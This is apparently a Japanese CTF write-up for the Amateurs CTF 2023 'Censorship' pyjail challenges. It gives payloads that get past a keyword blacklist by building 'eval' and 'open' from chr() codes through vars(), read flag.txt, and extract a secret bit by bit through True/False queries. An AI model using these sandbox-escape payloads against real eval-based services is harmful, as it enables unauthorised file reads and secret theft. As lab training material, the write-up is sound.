Amateurs CTF 2023 - Censorship Series
Challenge
Censorship
特定の文字が禁止された pyjail。
BLACKLIST = ['import', 'os', 'sys', 'eval', 'exec', 'flag', 'open', 'read']
code = input()for word in BLACKLIST: if word in code.lower(): print("Censored!") exit()
print(eval(code))Censorship Lite / Lite++
より厳しい制限を持つバリエーション。
Solution
vars() による builtins アクセス
vars() は引数なしで呼ぶと locals() と同等:
vars() # ローカル変数の辞書vars(__builtins__) # builtins の __dict__Boolean brute force
出力が True/False のみの場合、1ビットずつ情報を抽出:
# フラグの n 番目の文字の m ビット目を取得ord(FLAG[n]) >> m & 1文字列構築
# chr() で禁止文字列を構築vars()[chr(101)+chr(118)+chr(97)+chr(108)] # eval完全なペイロード
# open('flag.txt').read() を構築vars()[chr(111)+chr(112)+chr(101)+chr(110)](chr(102)+chr(108)+chr(97)+chr(103)+chr(46)+chr(116)+chr(120)+chr(116)).read()Technical Details
vars() の動作
vars() # locals()vars(module) # module.__dict__vars(class) # class.__dict__vars(__builtins__) # builtins の辞書ブール推論攻撃
# サーバーへの問い合わせfor char_idx in range(len(FLAG)): char_value = 0 for bit_idx in range(7): query = f"ord(FLAG[{char_idx}]) >> {bit_idx} & 1" result = send_query(query) # True/False が返る if result: char_value |= (1 << bit_idx) print(chr(char_value), end='')Alternative Solutions
別解1: getattr との組み合わせ
getattr(vars()['__builtins__'], chr(101)+chr(118)+chr(97)+chr(108))別解2: dict のキーアクセス
vars()['__builtins__'].__dict__[chr(111)+chr(112)+chr(101)+chr(110)]Flag
amateursCTF{...}
References
- Amateurs CTF 2023 Official